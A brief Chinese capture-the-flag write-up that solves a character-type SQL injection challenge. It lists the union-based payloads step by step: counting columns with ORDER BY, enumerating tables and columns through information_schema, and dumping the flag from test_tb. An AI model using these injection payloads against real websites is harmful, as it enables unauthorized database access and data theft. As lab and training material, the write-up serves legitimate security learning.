拿到题目,查看源码,要求我们输入参数wllm
首先输入wllm=1,回显正常。
输入wllm=1',出现报错,可以判断为字符型漏洞。
1. 先查看一下字段列数。
?wllm=-1' order by 3--+
?wllm=-1' order by 4--+
?wllm=1' order by 4--+报错,所以为3列.
2.查看回显:
?wllm=-1' union select 1,2,3--+
3.查数据库名:
?wllm=-1' union select 1,2,database()--+
4.查看test_db库的表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
5.查字段:
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
6.出现flag字段,查看flag字段的内容:
-1' union select 1,2,group_concat(id,flag) from test_tb--+
最后成功解出该题。